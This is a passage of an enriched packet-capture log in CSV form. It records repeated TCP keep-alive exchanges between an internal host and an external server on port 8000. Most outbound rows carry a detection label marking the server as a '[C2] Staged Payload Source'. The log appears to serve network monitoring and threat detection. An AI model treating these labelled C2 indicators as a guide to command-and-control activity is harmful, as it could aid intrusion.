{\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42208, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35603, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:11:58.899433,847,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13b400080063ec30a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45371, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16067, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:58.899468,848,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e1400040068b12c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42209, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35602, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:11:59.899409,849,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13c400080063ec20a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45372, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16066, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:11:59.899427,850,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e2400040068b11c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42210, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35601, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:00.915006,851,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13d400080063ec10a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45373, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16065, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:00.915021,852,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e3400040068b10c0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42211, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35600, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:01.930713,853,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13e400080063ec00a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45374, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16064, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:01.930747,854,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e4400040068b0fc0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42212, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35599, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:02.946336,855,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b13f400080063ebf0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45375, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16063, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:02.946362,856,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e5400040068b0ec0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42213, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35598, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:03.961942,857,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b140400080063ebe0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45376, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16062, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:03.961977,858,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e6400040068b0dc0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@..\n....\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42214, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35597, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:04.962040,859,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b141400080063ebd0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45377, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16061, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:04.962065,860,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e7400040068b0cc0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35596, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:05.962055,861,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b142400080063ebc0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45378, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16060, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263041, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14781, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:05.962089,862,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263042,bc2411360d0cbc24112907bb080045000034a4e8400040068b0bc0a3a7890a98980b1f40fa650e975e6347107d828010003f0af700000101050a47107d8147107d82,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35595, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263042, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263041, 1192263042))]\"\"}}]\"\n2026-07-01 09:12:06.977648,863,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263041 Ack=244801123,bc24112907bbbc2411360d0c080045000029b143400080063ebb0a98980bc0a3a789fa651f4047107d810e975e635010201439bd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": 